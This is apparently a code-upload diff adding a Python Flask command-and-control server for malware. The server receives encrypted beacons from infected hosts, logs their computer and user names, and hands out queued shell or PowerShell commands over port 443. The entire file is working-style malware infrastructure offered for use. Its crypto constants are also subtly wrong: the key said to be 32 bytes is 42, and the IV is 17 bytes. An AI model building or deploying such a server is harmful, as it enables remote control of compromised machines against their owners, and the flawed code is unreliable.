Upload files to "/"

c2_server.py

@@ -0,0 +1,54 @@
+from flask import Flask, request, jsonify
+from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
+from cryptography.hazmat.backends import default_backend
+import base64, json
+
+app = Flask(__name__)
+AES_KEY = b"ChurchOfMalware2024!!ChurchOfMalware2024!!"  # 32 bytes
+AES_IV = b"MalwareChurchIV!!"
+task_queue = {}
+
+def decrypt_aes(data_b64):
+    ciphertext = base64.b64decode(data_b64)
+    cipher = Cipher(algorithms.AES(AES_KEY), modes.CBC(AES_IV), backend=default_backend())
+    decryptor = cipher.decryptor()
+    plaintext = decryptor.update(ciphertext) + decryptor.finalize()
+    pad_len = plaintext[-1]
+    return plaintext[:-pad_len]
+
+def encrypt_aes(plaintext):
+    pad_len = 16 - (len(plaintext) % 16)
+    plaintext += bytes([pad_len]) * pad_len
+    cipher = Cipher(algorithms.AES(AES_KEY), modes.CBC(AES_IV), backend=default_backend())
+    encryptor = cipher.encryptor()
+    return base64.b64encode(encryptor.update(plaintext) + encryptor.finalize()).decode()
+
+@app.route('/beacon', methods=['POST'])
+def beacon():
+    data = request.form.get('data')
+    if not data: return "No data", 400
+    decrypted = decrypt_aes(data)
+    beacon_data = json.loads(decrypted.decode())
+    print(f"[+] Beacon from {beacon_data['computer']}\\{beacon_data['user']}")
+    
+    host = beacon_data['computer']
+    if host in task_queue and task_queue[host]:
+        task = task_queue[host].pop(0)
+        response = json.dumps({"task_id": task['id'], "command": task['cmd'], 
+                               "args": task['args'], "is_powershell": task.get('ps', False)})
+    else:
+        response = json.dumps({"task_id": 0, "command": "", "args": ""})
+    
+    return encrypt_aes(response.encode()), 200
+
+@app.route('/task', methods=['POST'])
+def add_task():
+    data = request.json
+    host = data.get('host')
+    if host not in task_queue: task_queue[host] = []
+    task_queue[host].append({'id': len(task_queue[host]) + 1, 'cmd': data['command'], 
+                             'args': data.get('args', ''), 'ps': data.get('powershell', False)})
+    return jsonify({"status": "added"})
+
+if __name__ == '__main__':
+    app.run(host='0.0.0.0', port=443, ssl_context='adhoc')